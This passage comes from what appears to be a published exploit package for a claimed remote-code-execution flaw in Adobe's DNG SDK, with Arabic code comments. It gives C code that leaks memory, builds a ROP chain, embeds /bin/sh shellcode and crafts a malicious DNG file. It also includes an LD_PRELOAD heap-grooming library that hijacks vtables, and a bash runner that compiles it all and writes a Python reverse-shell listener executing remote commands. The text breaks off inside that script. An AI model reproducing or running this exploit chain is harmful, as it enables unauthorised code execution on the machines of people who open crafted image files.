libc_version;\\n info.vtable_offset = 0x28; \/\/ \u0625\u0632\u0627\u062d\u0629 VTable \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629\\n \\n \/\/ \u0627\u0644\u0645\u0631\u062d\u0644\u0629 1: \u062a\u0633\u0631\u064a\u0628 \u0627\u0644\u0630\u0627\u0643\u0631\u0629\\n if (!exploit_with_oob_read(input_dng, \\u0026info)) {\\n log_message(\\”[WARNING] OOB read failed or no leaks found\\\\n\\”);\\n log_message(\\”[*] Using fallback memory detection\\\\n\\”);\\n read_proc_maps(\\u0026info);\\n }\\n \\n \/\/ \u0643\u0634\u0641 \u0625\u0635\u062f\u0627\u0631 libc\\n detect_libc_version(\\u0026info);\\n \\n \/\/ \u0627\u0644\u0645\u0631\u062d\u0644\u0629 2: \u0628\u0646\u0627\u0621 ROP chain\\n size_t rop_size = 0;\\n unsigned long* rop_chain = build_rop_chain(\\u0026info, \\u0026rop_size);\\n if (!rop_chain) {\\n log_message(\\”[ERROR] Failed to build ROP chain\\\\n\\”);\\n return 1;\\n }\\n \\n \/\/ \u0627\u0644\u0645\u0631\u062d\u0644\u0629 3: \u0625\u0646\u0634\u0627\u0621 shellcode\\n unsigned char shellcode[] = {\\n \/\/ execve(\\”\/bin\/sh\\”, 0, 0) – x86_64\\n 0x48, 0x31, 0xf6, \/\/ xor rsi, rsi\\n 0x48, 0x31, 0xd2, \/\/ xor rdx, rdx\\n 0x48, 0x8d, 0x3d, 0x20, 0x00, 0x00, 0x00, \/\/ lea rdi, [rip+0x20]\\n 0xb0, 0x3b, \/\/ mov al, 0x3b (execve)\\n 0x0f, 0x05, \/\/ syscall\\n 0xcc, \/\/ int3 (debug)\\n ‘\/’, ‘b’, ‘i’, ‘n’, ‘\/’, ‘s’, ‘h’, 0 \/\/ \/bin\/sh string\\n };\\n \\n \/\/ \u0627\u0644\u0645\u0631\u062d\u0644\u0629 4: \u0625\u0646\u0634\u0627\u0621 DNG \u0646\u0647\u0627\u0626\u064a\\n unsigned long target_addresses[] = {\\n (unsigned long)info.libc_base,\\n (unsigned long)info.heap_base,\\n rop_chain[0], \/\/ \u0623\u0648\u0644 gadget\\n (unsigned long)info.libc_base + libc_versions[info.libc_version].offsets[5] \/\/ \/bin\/sh\\n };\\n \\n if (!create_realistic_dng(output_dng, target_addresses, \\n sizeof(target_addresses)\/sizeof(target_addresses[0]),\\n shellcode, sizeof(shellcode))) {\\n log_message(\\”[ERROR] Failed to create final DNG\\\\n\\”);\\n free(rop_chain);\\n return 1;\\n }\\n \\n \/\/ \u0627\u0644\u0645\u0631\u062d\u0644\u0629 5: \u062a\u0634\u063a\u064a\u0644 Listener\\n log_message(\\”\\\\n[PHASE 5] Setting up Reverse Shell\\\\n\\”);\\n log_message(\\”====================================\\\\n\\”);\\n \\n pid_t listener_pid = start_reverse_shell_listener();\\n if (listener_pid \\u003c= 0) {\\n log_message(\\”[ERROR] Failed to start listener\\\\n\\”);\\n log_message(\\”[*] Continuing without listener…\\\\n\\”);\\n }\\n \\n \/\/ \u0627\u0644\u0645\u0631\u062d\u0644\u0629 6: \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0646\u0647\u0627\u0626\u064a\\n log_message(\\”\\\\n[PHASE 6] Executing Final Exploit\\\\n\\”);\\n log_message(\\”==================================\\\\n\\”);\\n \\n char exploit_cmd[MAX_BUFFER_SIZE];\\n snprintf(exploit_cmd, sizeof(exploit_cmd),\\n \\”LD_PRELOAD=.\/heap_groom_final.so .\/dng_validate \\\\\\”%s\\\\\\”\\”,\\n output_dng);\\n \\n log_message(\\”[CMD] %s\\\\n\\”, exploit_cmd);\\n log_message(\\”[*] This may take a few seconds…\\\\n\\”);\\n \\n int result = system(exploit_cmd);\\n \\n log_message(\\”\\\\n[EXPLOIT RESULT]\\\\n\\”);\\n if (WIFEXITED(result)) {\\n log_message(\\” Exit code: %d\\\\n\\”, WEXITSTATUS(result));\\n } else if (WIFSIGNALED(result)) {\\n log_message(\\” Terminated by signal: %d\\\\n\\”, WTERMSIG(result));\\n }\\n \\n \/\/ \u0627\u0644\u0645\u0631\u062d\u0644\u0629 7: \u0627\u0644\u062a\u0646\u0638\u064a\u0641 \u0648\u0627\u0644\u0646\u062a\u0627\u0626\u062c\\n log_message(\\”\\\\n[PHASE 7] Cleanup and Results\\\\n\\”);\\n log_message(\\”===============================\\\\n\\”);\\n \\n \/\/ \u0625\u064a\u0642\u0627\u0641 \u0627\u0644\u0640 listener\\n if (listener_pid \\u003e 0) {\\n log_message(\\”[*] Stopping listener (PID: %d)\\\\n\\”, listener_pid);\\n kill(listener_pid, SIGTERM);\\n waitpid(listener_pid, NULL, 0);\\n }\\n \\n \/\/ \u062a\u062d\u0631\u064a\u0631 \u0627\u0644\u0630\u0627\u0643\u0631\u0629\\n free(rop_chain);\\n \\n \/\/ \u0627\u0644\u0646\u062a\u0627\u0626\u062c \u0627\u0644\u0646\u0647\u0627\u0626\u064a\u0629\\n log_message(\\”\\\\n[+] EXPLOIT CHAIN COMPLETED\\\\n\\”);\\n log_message(\\”[+] Check for reverse shell connection\\\\n\\”);\\n log_message(\\”[+] Log file: %s\\\\n\\”, LOG_FILE);\\n log_message(\\”[+] Final DNG: %s\\\\n\\”, output_dng);\\n \\n if (g_log_file) {\\n fclose(g_log_file);\\n }\\n \\n return 0;\\n }\\n \\n [+] Part 2: heap_groom.c\\n \\n \/\/ heap_groom_final.c\\n #define _GNU_SOURCE\\n #include \\u003cdlfcn.h\\u003e\\n #include \\u003cstdio.h\\u003e\\n #include \\u003cstdlib.h\\u003e\\n #include \\u003cstring.h\\u003e\\n #include \\u003cunistd.h\\u003e\\n #include \\u003csys\/mman.h\\u003e\\n #include \\u003csys\/stat.h\\u003e\\n #include \\u003cfcntl.h\\u003e\\n \\n \/\/ ============== \u0625\u0639\u062f\u0627\u062f\u0627\u062a \u0642\u0627\u0628\u0644\u0629 \u0644\u0644\u062a\u0639\u062f\u064a\u0644 \u0645\u0646 \u0627\u0644\u0628\u064a\u0626\u0629 ==============\\n #define DEFAULT_SPRAY_SIZE 4096\\n #define DEFAULT_SPRAY_COUNT 300\\n #define DEFAULT_TARGET_SIZE 768\\n #define DEFAULT_VTABLE_OFFSET 0x28\\n \\n \/\/ ============== \u0647\u064a\u0643\u0644 \u0644\u0644\u0643\u0627\u0626\u0646\u0627\u062a \u0627\u0644\u0645\u0631\u0627\u0642\u0628\u0629 ==============\\n typedef struct {\\n void* address;\\n size_t size;\\n int is_vulnerable;\\n int is_hijacked;\\n } MonitoredObject;\\n \\n typedef struct {\\n void** sprayed_blocks;\\n int spray_count;\\n size_t spray_size;\\n \\n void* target_object;\\n size_t target_size;\\n \\n MonitoredObject* monitored;\\n int monitored_count;\\n \\n size_t vtable_offset;\\n int debug_mode;\\n } HeapState;\\n \\n static HeapState g_heap_state = {0};\\n \\n \/\/ ============== \u062f\u0648\u0627\u0644 \u0645\u0633\u0627\u0639\u062f\u0629 \u0645\u062d\u0633\u0646\u0629 ==============\\n static void* (*original_malloc)(size_t) = NULL;\\n static void (*original_free)(void*) = NULL;\\n static void* (*original_realloc)(void*, size_t) = NULL;\\n static void* (*original_calloc)(size_t, size_t) = NULL;\\n \\n static void init_original_functions() {\\n if (!original_malloc) {\\n original_malloc = dlsym(RTLD_NEXT, \\”malloc\\”);\\n }\\n if (!original_free) {\\n original_free = dlsym(RTLD_NEXT, \\”free\\”);\\n }\\n if (!original_realloc) {\\n original_realloc = dlsym(RTLD_NEXT, \\”realloc\\”);\\n }\\n if (!original_calloc) {\\n original_calloc = dlsym(RTLD_NEXT, \\”calloc\\”);\\n }\\n }\\n \\n static int is_vulnerable_object(size_t size) {\\n \/\/ \u0623\u062d\u062c\u0627\u0645 dng_simple_image \u0627\u0644\u0645\u062d\u062a\u0645\u0644\u0629 \u0639\u0628\u0631 \u0625\u0635\u062f\u0627\u0631\u0627\u062a \u0645\u062e\u062a\u0644\u0641\u0629\\n return (size \\u003e= 0x180 \\u0026\\u0026 size \\u003c= 0x280) || \/\/ DNG SDK 1.5\\n (size \\u003e= 0x200 \\u0026\\u0026 size \\u003c= 0x300) || \/\/ DNG SDK 1.6\\n (size \\u003e= 0x220 \\u0026\\u0026 size \\u003c= 0x320); \/\/ DNG SDK 1.7\\n }\\n \\n static void setup_environment() {\\n \/\/ \u0642\u0631\u0627\u0621\u0629 \u0625\u0639\u062f\u0627\u062f\u0627\u062a \u0645\u0646 \u0627\u0644\u0628\u064a\u0626\u0629\\n char* env;\\n \\n env = getenv(\\”HEAP_DEBUG\\”);\\n g_heap_state.debug_mode = env ? atoi(env) : 0;\\n \\n env = getenv(\\”HEAP_SPRAY_COUNT\\”);\\n g_heap_state.spray_count = env ? atoi(env) : DEFAULT_SPRAY_COUNT;\\n \\n env = getenv(\\”HEAP_SPRAY_SIZE\\”);\\n g_heap_state.spray_size = env ? strtoul(env, NULL, 0) : DEFAULT_SPRAY_SIZE;\\n \\n env = getenv(\\”HEAP_TARGET_SIZE\\”);\\n g_heap_state.target_size = env ? strtoul(env, NULL, 0) : DEFAULT_TARGET_SIZE;\\n \\n env = getenv(\\”HEAP_VTABLE_OFFSET\\”);\\n g_heap_state.vtable_offset = env ? strtoul(env, NULL, 0) : DEFAULT_VTABLE_OFFSET;\\n \\n if (g_heap_state.debug_mode) {\\n fprintf(stderr, \\”[HEAP_GROOM] Configuration:\\\\n\\”);\\n fprintf(stderr, \\” Spray: %d x 0x%zx\\\\n\\”, \\n g_heap_state.spray_count, g_heap_state.spray_size);\\n fprintf(stderr, \\” Target: 0x%zx\\\\n\\”, g_heap_state.target_size);\\n fprintf(stderr, \\” VTable offset: 0x%zx\\\\n\\”, g_heap_state.vtable_offset);\\n }\\n }\\n \\n static void spray_heap() {\\n if (g_heap_state.debug_mode) {\\n fprintf(stderr, \\”[HEAP_GROOM] Starting heap spray\\\\n\\”);\\n }\\n \\n g_heap_state.sprayed_blocks = original_malloc(\\n g_heap_state.spray_count * sizeof(void*));\\n \\n if (!g_heap_state.sprayed_blocks) {\\n return;\\n }\\n \\n memset(g_heap_state.sprayed_blocks, 0, \\n g_heap_state.spray_count * sizeof(void*));\\n \\n \/\/ \u0631\u0634 \u0627\u0644\u0643\u062a\u0644 \u0628\u0623\u0646\u0645\u0627\u0637 \u0645\u062e\u062a\u0644\u0641\u0629\\n for (int i = 0; i \\u003c g_heap_state.spray_count; i++) {\\n g_heap_state.sprayed_blocks[i] = original_malloc(g_heap_state.spray_size);\\n if (!g_heap_state.sprayed_blocks[i]) {\\n if (g_heap_state.debug_mode) {\\n fprintf(stderr, \\”[HEAP_GROOM] Failed to allocate block %d\\\\n\\”, i);\\n }\\n continue;\\n }\\n \\n \/\/ \u062a\u0644\u0648\u064a\u0646 \u0643\u0644 \u0643\u062a\u0644\u0629 \u0628\u0646\u0645\u0637 \u0645\u062e\u062a\u0644\u0641 \u0644\u0644\u062a\u0639\u0631\u0641 \u0639\u0644\u064a\u0647\u0627\\n unsigned char pattern = 0x41 + (i % 26);\\n memset(g_heap_state.sprayed_blocks[i], pattern, g_heap_state.spray_size);\\n \\n \/\/ \u0648\u0636\u0639 markers \u0641\u064a \u0627\u0644\u0628\u062f\u0627\u064a\u0629 \u0648\u0627\u0644\u0646\u0647\u0627\u064a\u0629\\n unsigned long* start_marker = (unsigned long*)g_heap_state.sprayed_blocks[i];\\n unsigned long* end_marker = (unsigned long*)((char*)g_heap_state.sprayed_blocks[i] + \\n g_heap_state.spray_size – 8);\\n *start_marker = 0xDEADBEEFCAFEBABE;\\n *end_marker = 0xFEEDFACEB00BB00B;\\n }\\n \\n if (g_heap_state.debug_mode) {\\n fprintf(stderr, \\”[HEAP_GROOM] Sprayed %d blocks\\\\n\\”, g_heap_state.spray_count);\\n }\\n }\\n \\n static void create_strategic_holes() {\\n \/\/ \u0625\u0646\u0634\u0627\u0621 \u062b\u0642\u0648\u0628 \u0627\u0633\u062a\u0631\u0627\u062a\u064a\u062c\u064a\u0629 (\u0643\u0644 7 \u0643\u062a\u0644)\\n int holes_created = 0;\\n \\n for (int i = 0; i \\u003c g_heap_state.spray_count; i += 7) {\\n if (g_heap_state.sprayed_blocks[i]) {\\n original_free(g_heap_state.sprayed_blocks[i]);\\n g_heap_state.sprayed_blocks[i] = NULL;\\n holes_created++;\\n }\\n }\\n \\n if (g_heap_state.debug_mode) {\\n fprintf(stderr, \\”[HEAP_GROOM] Created %d holes\\\\n\\”, holes_created);\\n }\\n }\\n \\n static void create_target_object() {\\n g_heap_state.target_object = original_malloc(g_heap_state.target_size);\\n if (!g_heap_state.target_object) {\\n if (g_heap_state.debug_mode) {\\n fprintf(stderr, \\”[HEAP_GROOM] Failed to create target object\\\\n\\”);\\n }\\n return;\\n }\\n \\n if (g_heap_state.debug_mode) {\\n fprintf(stderr, \\”[HEAP_GROOM] Target object: %p (0x%zx)\\\\n\\”,\\n g_heap_state.target_object, g_heap_state.target_size);\\n }\\n \\n \/\/ \u062a\u0644\u0648\u064a\u0646 \u0627\u0644\u0643\u0627\u0626\u0646\\n memset(g_heap_state.target_object, 0x42, g_heap_state.target_size);\\n \\n \/\/ \u0625\u0639\u062f\u0627\u062f VTable \u0632\u0627\u0626\u0641\\n void** fake_vtable = (void**)((char*)g_heap_state.target_object + \\n g_heap_state.vtable_offset);\\n \\n \/\/ \u0645\u0624\u0634\u0631\u0627\u062a \u062f\u0627\u0644\u0629 \u0644\u0644\u062a\u062d\u0643\u0645\\n \/\/ \u0641\u064a \u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u062d\u0642\u064a\u0642\u064a\u060c \u0647\u0630\u0647 \u0633\u062a\u0643\u0648\u0646 \u0639\u0646\u0627\u0648\u064a\u0646 gadgets\\n fake_vtable[0] = (void*)0x00007f1234567000; \/\/ \\”execute\\”\\n fake_vtable[1] = (void*)0x00007f1234567100; \/\/ \\”secret\\”\\n fake_vtable[2] = (void*)0x00007f1234567200; \/\/ destructor\\n \\n \/\/ \u0648\u0636\u0639 shellcode \u0641\u064a buffer\\n unsigned char* code_buffer = (unsigned char*)g_heap_state.target_object + 0x100;\\n \\n \/\/ shellcode \u062a\u0646\u0641\u064a\u0630 \/bin\/sh\\n unsigned char shellcode[] = {\\n 0x48, 0x31, 0xc0, \/\/ xor rax, rax\\n 0x48, 0x89, 0xc2, \/\/ mov rdx, rax\\n 0x48, 0x89, 0xc6, \/\/ mov rsi, rax\\n 0x48, 0x8d, 0x3d, 0x10, 0x00, 0x00, 0x00, \/\/ lea rdi, [rip+0x10]\\n 0xb0, 0x3b, \/\/ mov al, 0x3b\\n 0x0f, 0x05, \/\/ syscall\\n 0xcc, \/\/ int3\\n ‘\/’, ‘b’, ‘i’, ‘n’, ‘\/’, ‘s’, ‘h’, 0\\n };\\n \\n memcpy(code_buffer, shellcode, sizeof(shellcode));\\n }\\n \\n \/\/ ============== Constructor\/Destructor ==============\\n void __attribute__((constructor)) init_heap_grooming() {\\n if (getenv(\\”HEAP_GROOM_DISABLE\\”)) {\\n return;\\n }\\n \\n init_original_functions();\\n setup_environment();\\n \\n if (g_heap_state.debug_mode) {\\n fprintf(stderr, \\”\\\\n[HEAP_GROOM] Initializing exploit heap manager\\\\n\\”);\\n }\\n \\n spray_heap();\\n create_strategic_holes();\\n create_target_object();\\n \\n if (g_heap_state.debug_mode) {\\n fprintf(stderr, \\”[HEAP_GROOM] Initialization complete\\\\n\\”);\\n }\\n }\\n \\n void __attribute__((destructor)) cleanup_heap_grooming() {\\n if (g_heap_state.debug_mode) {\\n fprintf(stderr, \\”[HEAP_GROOM] Cleaning up\\\\n\\”);\\n }\\n \\n \/\/ \u062a\u062d\u0631\u064a\u0631 \u0627\u0644\u0643\u062a\u0644 \u0627\u0644\u0645\u0631\u0634\u0648\u0634\u0629\\n if (g_heap_state.sprayed_blocks) {\\n for (int i = 0; i \\u003c g_heap_state.spray_count; i++) {\\n if (g_heap_state.sprayed_blocks[i]) {\\n original_free(g_heap_state.sprayed_blocks[i]);\\n }\\n }\\n original_free(g_heap_state.sprayed_blocks);\\n }\\n \\n \/\/ \u062a\u062d\u0631\u064a\u0631 \u0627\u0644\u0643\u0627\u0626\u0646 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641\\n if (g_heap_state.target_object) {\\n original_free(g_heap_state.target_object);\\n }\\n \\n \/\/ \u062a\u062d\u0631\u064a\u0631 \u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0645\u0631\u0627\u0642\u0628\u0629\\n if (g_heap_state.monitored) {\\n original_free(g_heap_state.monitored);\\n }\\n }\\n \\n \/\/ ============== \u062a\u0639\u0648\u064a\u0636 \u062f\u0648\u0627\u0644 \u0627\u0644\u0630\u0627\u0643\u0631\u0629 ==============\\n void* malloc(size_t size) {\\n init_original_functions();\\n \\n void* ptr = original_malloc(size);\\n if (!ptr) {\\n return NULL;\\n }\\n \\n \/\/ \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u062a\u062e\u0635\u064a\u0635\u0627\u062a \u0627\u0644\u0636\u0639\u064a\u0641\u0629\\n if (is_vulnerable_object(size)) {\\n if (g_heap_state.debug_mode) {\\n fprintf(stderr, \\”[HEAP_MONITOR] Vulnerable object: %p (0x%zx)\\\\n\\”, ptr, size);\\n }\\n \\n \/\/ \u0625\u0630\u0627 \u0643\u0627\u0646 \u0647\u0646\u0627\u0643 \u0643\u0627\u0626\u0646 \u0645\u0633\u062a\u0647\u062f\u0641\u060c \u0646\u0642\u0648\u0645 \u0628\u0640 VTable hijacking\\n if (g_heap_state.target_object) {\\n void** object_vtable = (void**)((char*)ptr + g_heap_state.vtable_offset);\\n void** target_vtable = (void**)((char*)g_heap_state.target_object + \\n g_heap_state.vtable_offset);\\n \\n \/\/ \u0646\u0633\u062e VTable \u0645\u0646 \u0627\u0644\u0643\u0627\u0626\u0646 \u0627\u0644\u0645\u0633\u062a\u0647\u062f\u0641\\n memcpy(object_vtable, target_vtable, 3 * sizeof(void*));\\n \\n if (g_heap_state.debug_mode) {\\n fprintf(stderr, \\”[HEAP_HIJACK] VTable hijacked at %p\\\\n\\”, object_vtable);\\n }\\n }\\n \\n \/\/ \u0625\u0636\u0627\u0641\u0629 \u0625\u0644\u0649 \u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0645\u0631\u0627\u0642\u0628\u0629\\n if (!g_heap_state.monitored) {\\n g_heap_state.monitored = original_malloc(100 * sizeof(MonitoredObject));\\n g_heap_state.monitored_count = 0;\\n }\\n \\n if (g_heap_state.monitored \\u0026\\u0026 g_heap_state.monitored_count \\u003c 100) {\\n g_heap_state.monitored[g_heap_state.monitored_count].address = ptr;\\n g_heap_state.monitored[g_heap_state.monitored_count].size = size;\\n g_heap_state.monitored[g_heap_state.monitored_count].is_vulnerable = 1;\\n g_heap_state.monitored[g_heap_state.monitored_count].is_hijacked = \\n (g_heap_state.target_object != NULL);\\n g_heap_state.monitored_count++;\\n }\\n }\\n \\n return ptr;\\n }\\n \\n void free(void* ptr) {\\n init_original_functions();\\n \\n \/\/ \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0645\u0627 \u0625\u0630\u0627 \u0643\u0627\u0646 \u0627\u0644\u0645\u0624\u0634\u0631 \u064a\u0646\u062a\u0645\u064a \u0625\u0644\u0649 \u0627\u0644\u0643\u062a\u0644 \u0627\u0644\u0645\u0631\u0634\u0648\u0634\u0629\\n if (g_heap_state.sprayed_blocks) {\\n for (int i = 0; i \\u003c g_heap_state.spray_count; i++) {\\n if (g_heap_state.sprayed_blocks[i] == ptr) {\\n if (g_heap_state.debug_mode) {\\n fprintf(stderr, \\”[HEAP_MONITOR] Freed sprayed block %d: %p\\\\n\\”, i, ptr);\\n }\\n \/\/ \u0644\u0627 \u0646\u062d\u0631\u0631 \u0627\u0644\u0643\u062a\u0644 \u0627\u0644\u0645\u0631\u0634\u0648\u0634\u0629\\n return;\\n }\\n }\\n }\\n \\n original_free(ptr);\\n }\\n \\n void* realloc(void* ptr, size_t size) {\\n init_original_functions();\\n \\n \/\/ \u0625\u0630\u0627 \u0643\u0627\u0646 ptr \u0647\u0648 \u0643\u0627\u0626\u0646 \u0645\u0631\u0627\u0642\u0628\u060c \u0646\u0633\u062c\u0644 \u0627\u0644\u062a\u063a\u064a\u064a\u0631\\n if (g_heap_state.monitored) {\\n for (int i = 0; i \\u003c g_heap_state.monitored_count; i++) {\\n if (g_heap_state.monitored[i].address == ptr) {\\n if (g_heap_state.debug_mode) {\\n fprintf(stderr, \\”[HEAP_MONITOR] Reallocating monitored object: %p\\\\n\\”, ptr);\\n }\\n break;\\n }\\n }\\n }\\n \\n return original_realloc(ptr, size);\\n }\\n \\n void* calloc(size_t nmemb, size_t size) {\\n init_original_functions();\\n return original_calloc(nmemb, size);\\n }\\n \\n ========================\\n [+] Part 3: The script\\n ========================\\n \\n #!\/bin\/bash\\n # run_final_exploit.sh\\n \\n set -euo pipefail\\n \\n # ============== \u0627\u0644\u0623\u0644\u0648\u0627\u0646 \u0644\u0644\u0645\u062e\u0631\u062c\u0627\u062a ==============\\n RED=’\\\\033[0;31m’\\n GREEN=’\\\\033[0;32m’\\n YELLOW=’\\\\033[1;33m’\\n BLUE=’\\\\033[0;34m’\\n NC=’\\\\033[0m’ # No Color\\n \\n print_header() {\\n echo -e \\”${BLUE}\\”\\n echo \\”\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\”\\n echo \\”\u2551 CVE-2025-64784 By indoushka \u2551\\”\\n echo \\”\u2551 Adobe DNG SDK \\u003c= 1.7 RCE Exploit \u2551\\”\\n echo \\”\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\”\\n echo -e \\”${NC}\\”\\n echo \\”\\”\\n }\\n \\n print_step() {\\n echo -e \\”${GREEN}[*]${NC} $1\\”\\n }\\n \\n print_warning() {\\n echo -e \\”${YELLOW}[!]${NC} $1\\”\\n }\\n \\n print_error() {\\n echo -e \\”${RED}[ERROR]${NC} $1\\”\\n }\\n \\n print_success() {\\n echo -e \\”${GREEN}[+]${NC} $1\\”\\n }\\n \\n # ============== \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0627\u0644\u0645\u062a\u0637\u0644\u0628\u0627\u062a ==============\\n check_requirements() {\\n print_step \\”Checking system requirements…\\”\\n \\n local missing=0\\n \\n # \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 gcc\\n if ! command -v gcc \\u0026\\u003e \/dev\/null; then\\n print_error \\”gcc not found\\”\\n missing=1\\n fi\\n \\n # \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 python3\\n if ! command -v python3 \\u0026\\u003e \/dev\/null; then\\n print_error \\”python3 not found\\”\\n missing=1\\n fi\\n \\n # \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 netcat\\n if ! command -v nc \\u0026\\u003e \/dev\/null; then\\n print_warning \\”netcat not found (reverse shell may not work)\\”\\n fi\\n \\n # \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 make\\n if ! command -v make \\u0026\\u003e \/dev\/null; then\\n print_warning \\”make not found (DNG SDK compilation may fail)\\”\\n fi\\n \\n # \u0627\u0644\u062a\u062d\u0642\u0642 \u0645\u0646 \u0628\u0646\u064a\u0629 \u0627\u0644\u0646\u0638\u0627\u0645\\n local arch=$(uname -m)\\n if [[ \\”$arch\\” != \\”x86_64\\” ]]; then\\n print_warning \\”Running on $arch (expected x86_64 for exploit)\\”\\n fi\\n \\n if [[ $missing -eq 1 ]]; then\\n print_error \\”Missing requirements. Install with:\\”\\n echo \\” sudo apt install gcc python3 netcat make\\”\\n exit 1\\n fi\\n \\n print_success \\”Requirements check passed\\”\\n }\\n \\n # ============== \u0627\u0644\u062a\u062c\u0645\u064a\u0639 ==============\\n compile_exploit() {\\n print_step \\”Compiling exploit components…\\”\\n \\n # 1. \u062a\u062c\u0645\u064a\u0639 heap groomer\\n if [[ -f \\”heap_groom_final.c\\” ]]; then\\n print_step \\”Compiling heap_groom_final.so…\\”\\n gcc -shared -fPIC -o heap_groom_final.so heap_groom_final.c -ldl -Wall\\n if [[ ! -f \\”heap_groom_final.so\\” ]]; then\\n print_error \\”Failed to compile heap_groom_final.so\\”\\n exit 1\\n fi\\n print_success \\”heap_groom_final.so compiled\\”\\n fi\\n \\n # 2. \u062a\u062c\u0645\u064a\u0639 \u0627\u0644\u0627\u0633\u062a\u063a\u0644\u0627\u0644 \u0627\u0644\u0631\u0626\u064a\u0633\u064a\\n if [[ -f \\”final_exploit_cve_2025_64784.c\\” ]]; then\\n print_step \\”Compiling final_exploit…\\”\\n gcc -o final_exploit final_exploit_cve_2025_64784.c -ldl -Wall\\n if [[ ! -f \\”final_exploit\\” ]]; then\\n print_error \\”Failed to compile final_exploit\\”\\n exit 1\\n fi\\n print_success \\”final_exploit compiled\\”\\n fi\\n \\n # 3. \u062a\u062c\u0645\u064a\u0639 DNG SDK \u0625\u0630\u0627 \u0643\u0627\u0646 \u0645\u0648\u062c\u0648\u062f\u0627\u064b\\n if [[ -f \\”dng_sdk\/Makefile\\” ]]; then\\n print_step \\”Compiling vulnerable DNG SDK…\\”\\n cd dng_sdk \\u0026\\u0026 make -j$(nproc) \\u0026\\u0026 cd ..\\n if [[ -f \\”dng_sdk\/dng_validate\\” ]]; then\\n ln -sf dng_sdk\/dng_validate .\/\\n print_success \\”DNG SDK compiled\\”\\n fi\\n fi\\n }\\n \\n # ============== \u0625\u0646\u0634\u0627\u0621 \u0645\u0644\u0641\u0627\u062a DNG ==============\\n create_dng_files() {\\n print_step \\”Creating DNG exploit files…\\”\\n \\n if [[ ! -f \\”create_malicious_dng.py\\” ]]; then\\n print_warning \\”create_malicious_dng.py not found\\”\\n return\\n fi\\n \\n # \u0625\u0646\u0634\u0627\u0621 \u0645\u0644\u0641 DNG \u0623\u0633\u0627\u0633\u064a\\n python3 create_malicious_dng.py\\n \\n if [[ -f \\”exploit.dng\\” ]]; then\\n local size=$(stat -c%s \\”exploit.dng\\”)\\n print_success \\”Created exploit.dng ($size bytes)\\”\\n else\\n print_error \\”Failed to create exploit.dng\\”\\n fi\\n }\\n \\n # ============== \u062a\u0634\u063a\u064a\u0644 Listener \u0645\u062a\u0642\u062f\u0645 ==============\\n start_advanced_listener() {\\n print_step \\”Starting reverse shell listener…\\”\\n \\n # \u0625\u0646\u0634\u0627\u0621 script listener \u0645\u062a\u0642\u062f\u0645\\n cat \\u003e advanced_listener.py \\u003c\\u003c ‘EOF’\\n #!\/usr\/bin\/env python3\\n import socket\\n import subprocess\\n import sys\\n import os\\n import threading\\n \\n PORT = 4444\\n HOST = ‘0.0.0.0’\\n \\n def handle_client(client_socket, address):\\n print(f\\”[*] Connection from {address[0]}:{address[1]}\\”)\\n \\n # \u0625\u0631\u0633\u0627\u0644 banner\\n banner = b\\”\\\\n[+] CVE-2025-64784 Exploit Successful!\\\\n\\”\\n banner += b\\”[+] Remote Code Execution Achieved\\\\n\\\\n\\”\\n client_socket.send(banner)\\n \\n # \u062a\u0648\u062c\u064a\u0647 \u0627\u0644\u0623\u0648\u0627\u0645\u0631 \u0625\u0644\u0649 shell\\n while True:\\n try:\\n # \u0625\u0631\u0633\u0627\u0644 prompt\\n client_socket.send(b\\”$ \\”)\\n \\n # \u0627\u0633\u062a\u0642\u0628\u0627\u0644 \u0627\u0644\u0623\u0645\u0631\\n command = b\\”\\”\\n while True:\\n data = client_socket.recv(1)\\n if not data or data == b\\”\\\\n\\”:\\n break\\n command += data\\n \\n command = command.decode(‘utf-8′, errors=’ignore’).strip()\\n \\n if command.lower() in [‘exit’, ‘quit’]:\\n break\\n \\n if command:\\n print(f\\”[CMD] {command}\\”)\\n \\n # \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0623\u0645\u0631\\n try:\\n result = subprocess.check_output(\\n command, \\n shell=True, \\n stderr=subprocess.STDOUT,\\n timeout=5\\n )\\n client_socket.send(result + b\\”\\\\n\\”)\\n except subprocess.CalledProcessError as e:\\n client_socket.send(e.output + b\\”\\\\n\\”)\\n except subprocess.TimeoutExpired:\\n client_socket.send(b\\”Command timed out\\\\n\\”)\\n except Exception as e:\\n print(f\\”[ERROR] {e}\\”)\\n break\\n \\n client_socket.close()\\n print(f\\”[*] Connection closed: {address[0]}:{address[1]}\\”)\\n \\n def main():\\n # \u0625\u0646\u0634\u0627\u0621 socket\\n server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\\n \\n try:\\n server.bind((HOST, PORT))\\n server.listen(5)\\n print(f\\”[*] Listening on {HOST}:{PORT}\\”)\\n print(\\”[*] Waiting for exploit to trigger…\\”)\\n \\n while True:\\n client, address = server.accept()\\n client_handler = threading.Thread(\\n target=handle_client, \\n args=(client, address)\\n )\\n client_handler.start()\\n except 